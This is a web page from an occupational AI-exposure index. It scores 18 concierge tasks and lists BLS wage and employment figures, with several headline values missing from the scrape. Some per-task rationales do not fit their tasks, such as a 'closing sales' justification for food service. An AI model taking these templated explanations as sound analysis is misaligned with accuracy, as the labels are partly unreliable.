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AI Automation Index
Task-level automation exposure for Concierges: 18 O*NET tasks scored against their work activities, plus the simulator.
Automation Exposure
18 of 18 tasks scored
Median Salary
BLS OEWS, May 2025 — this exact occupation
Employment Level
49,240 people hold this job — size, not growth
Projected 2025–35
6,900 openings a year · BLS line item
BLS OEWS publishes 48 state estimates for this occupation. Each is its own survey estimate, not the national median adjusted for local prices.
$23,810 – $60,090
Highest medians
Lowest medians
State figures come from the 39-6012 row in the May 2025 state panel. States where the estimate was suppressed or too small to publish are absent.
Each task is mapped to its work activities, scored for AI automation potential, and weighted by how important those activities are to the job. These are the components.
Importance-weighted mean of the scored tasks. This is the headline index.
Share of weighted tasks in hands-on or machine-operating work activities.
Share in analysis, decisions, teaching, directing, advising, or caring for others.
Share in documenting, recording, and administrative activities.
Share of weighted tasks O*NET rewrote in a recent update. Reported, not folded into the score.
O*NET's own rating of how serious an uncorrectable mistake would be here — respondents, not us. Deliberately not in the index: the score measures what AI can do with the task content, and multiplying it by stakes would be our judgment dressed as data.
18 tasks for this occupation, weighted by work-activity importance. Shares below are of total task weight, not task count.
10 tasks
4 tasks
4 tasks
Move your week away from the high-exposure tasks and toward the ones that need judgment. The simulator recalculates the index as you shift the mix.
Simulate Upskilling →Provide information about local features, such as shopping, dining, nightlife, or recreational destinations.
information retrieval — Event info retrieval assisted; patron interaction human
Make reservations for patrons, such as for dinner, spa treatments, or golf tee times, and obtain tickets to special events.
information retrieval — Arranging reservations and services via tools
Provide directions to guests.
interpersonal — In-person directions need situated human presence
Order flowers for guests.
decision support — Ordering via systems automatable; human approves spend
Make travel arrangements for sightseeing or other tours.
information retrieval — Arranging reservations and services via tools
Pick up and deliver items or run errands for guests.
situated mobility — Physical delivery of items in real environments
Plan special events, parties, or meetings, which may include booking musicians or celebrities.
interpersonal — Event organizing aided; logistics and presence human
Book airline or train tickets, reserve rental cars, or arrange shuttle service for guests.
information retrieval — Arranging reservations and services via tools
Arrange childcare services for guests.
information retrieval — Arranging reservations and services via tools
Carry out unusual requests, such as searching for hard-to-find items or arranging for exotic services, such as hot-air balloon rides.
information retrieval — Arranging reservations and services via tools
Assist guests with special needs by providing equipment such as wheelchairs.
information retrieval — General info answers assisted; live service human
Receive, store, or deliver luggage or mail.
situated mobility — Physical delivery of items in real environments
Perform office duties on a temporary basis when needed.
text generation — Broad clerical tasks partly automatable, human oversees exceptions
Arrange for the replacement of items lost by travelers.
information retrieval — Arranging reservations and services via tools
Provide business services for guests, such as sending or receiving faxes or shipping packages.
information retrieval — Arranging reservations and services via tools
Arrange for interpreters or translators when patrons require such services.
information retrieval — Arranging reservations and services via tools
Provide food and beverage services to guests.
interpersonal — Closing sales requires persuasion and accountability
Clean and tidy hotel lounge.
physical manipulation — Physical cleaning of facilities and work areas
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<script src="https://giniloh.com/embed.js" async></script> Community Sentiment
Do you agree with the AI automation risk score calculated for this occupation?
Method
Check: across the 910 occupations where O*NET also rates how far machine speed sets the pace, this index moves opposite to it (Spearman ρ = -0.49). The more a job is paced by equipment, the less of its task content AI can address — the relationship you would expect if the scoring is working.
Sources · O*NET 31.0 (task records to 08/2026) · BLS OEWS May 2025 · BLS projections 2025-2035 · rubric v2.1 · tasks for O*NET, not a forecast
See the full method →Related Article
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